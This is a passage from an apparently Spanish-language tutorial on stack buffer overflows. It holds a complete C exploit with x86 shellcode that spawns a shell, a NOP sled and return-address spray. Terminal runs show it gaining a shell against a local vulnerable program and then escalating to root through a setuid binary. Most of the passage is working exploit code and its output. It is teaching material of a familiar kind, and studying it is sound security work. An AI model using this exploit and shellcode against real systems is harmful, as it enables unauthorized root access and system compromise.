5. Ejecutar el programa vulnerable con nuestro buffer como parametro. Veamos el programa de ejemplo:
/* exploit.c */

#define NOP 0x90

char shellcode[]=
"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80";

/* Retorna el stack pointer */
unsigned long get_sp(void) 
{
__asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[]) 
{                                                                                
char *buffer;
char *pbuffer;

long *addr_pbuffer;
long  nop_addr;

int offset=0;
int size;
int i;

if (argc!=3) 
{                                                                             
printf ("Uso: %s  \n", argv[0]);
return 0;
}

size  = atoi(argv[1]) + 100;
offset = atoi(argv[2]);

if (!(buffer = malloc(size))) 
{                                                                             
printf("malloc()\n");
exit(0);
}

/* Direccion aproximada de la zona de NOPs */
nop_addr = get_sp() - offset;

/*
*  Llenamos el buffer con la direccion de retorno (R):
*  BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
*/
pbuffer = buffer;
addr_pbuffer = (long *) pbuffer;
for (i = 0; i < size; i+=4)
*(addr_pbuffer++) = nop_addr;

/*
*  Llenamos la primera mitad del buffer con NOPs
*  BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR
*/
for (i = 0; i < size/2; i++)
buffer[i] = NOP;

/*
*  Ponemos la shellcode (S) en la mitad del buffer
*  BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
*/
pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(pbuffer++) = shellcode[i];

/* Delimitamos el final del buffer */
buffer[size - 1] = '\0';

/* Ejecutamos el exploit */
execl("./vulnerable", "vulnerable", buffer, 0);

return 0;
}
Probemos nuestro exploit:
$ gcc exploit.c -o exploit
$ ./exploit
Uso: ./exploit  
Pasamos como parametro el tamaño del buffer de nuestro programa vulnerable y, de momento, un offset de 0.
$./exploit 512 0
sh-2.05b#
A la primera! Mucha suerte hemos tenido. Probemos con un buffer inferior. Compilemos vulnerable con un buffer de 256.
...
char buffer[256];
strcpy (buffer, param);
...
$ gcc vulnerable.c -o vulnerable
$  ./exploit 256 0
Instruccion ilegal
$ ./exploit 256 100
Violacion de segmento
$ ./exploit 256 200
Violacion de segmento
$ ./exploit 256 300
Instruccion ilegal
$ ./exploit 256 400
Violacion de segmento
$ ./exploit 256 500
sh-2.05b# 
En pocos intentos ya tenemos nuestra shell. Hagamos una última prueba con un buffer de 2048 bytes.
...
char buffer[2048];
strcpy (buffer, param);
...

gcc vulnerable.c -o vulnerable
$ ./exploit 2048 0
Instruccion ilegal
$ ./exploit 2048 500
Instruccion ilegal
$ ./exploit 2048 1000
sh-2.05b#
Como puede comprobarse, no resulta muy dificil encontrar la distancia desde el stack pointer a la zona de NOPs. Para finalizar veamos un ejemplo de como puede utilizarse un ataque de buffer overflow para escalar privilegios. Supongamos un programa vulnerable setuid. Podemos crear uno con:
$ chmod +s vulnerable
$ ls -lh vulnerable
-rwsr-sr-x  1 root root 4,9K jul 26 17:49 vulnerable
... y un usuario sin privilegios:
$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
El usuario sin privilegios puede explotar vulnerable y obtener su privilegio de root. Veamos:
$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
$ exploit 2048 1000
sh-2.05b# id
uid=0(root) gid=500(pepito) groups=500(pepito)
Referencias:
Smashing The Stack For Fun And Profit
http://www.phrack.org/phrack/49/P49-14

How to write Buffer Overflows
http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html